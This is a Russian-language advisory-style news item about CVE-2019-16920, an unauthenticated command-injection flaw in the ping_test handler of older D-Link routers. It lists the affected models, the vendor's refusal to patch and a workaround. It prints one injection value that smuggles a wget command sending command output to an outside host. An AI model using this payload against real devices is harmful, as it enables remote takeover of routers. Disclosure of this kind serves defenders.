В беспроводных маршрутизаторах D-Link выявлена опасная уязвимость (CVE-2019–16920), позволяющая удалённо выполнить код на стороне устройства через отправку специального запроса к обработчику "ping_test", доступному без прохождения аутентификации.
Интересно, что по задумке разработчиков прошивки вызов "ping_test" должен выполняться только после аутентификации, но на деле он вызывается в любом случае, независимо от входа в web-интерфейс. В частности, при обращении к скрипту apply_sec.cgi с передачей параметра "action=ping_test", скрипт перебрасывает на страницу аутентификации, но при этом выполняет связанное с ping_test действие. Для выполнения кода использована ещё одна уязвимость в самом ping_test, который вызывает утилиту ping без должной проверки корректности переданного для тестирования IP-адреса. Например, для вызова утилиты wget и передачи на внешний хост результатов выполнения команды "echo 1234" достаточно указать параметр
Код:
ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://test.test/?$(echo 1234)
Наличие уязвимости официально подтверждено в моделях:
DIR-655 с прошивкой 3.02b05 или старее;
DIR-866L с прошивкой 1.03b04 или старее;
DIR-1565 с прошивкой 1.01 или старее;
DIR-652 (данных о версиях проблемных прошивок не приводится)
Время сопровождения данных моделей уже истекло, поэтому компания D-Link заявила, что не будет выпускать для них обновления с устранением уязвимости, не рекомендует использовать и советует заменить на новые устройства. В качестве обходного пути защиты можно ограничить доступ к web-интерфейсу только для заслуживающих доверия IP-адресов.
Позднее выяснилось, что уязвимость также затрагивает модели DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835 и DIR-825, о планах по выпуску обновлений для которых пока ничего не известно.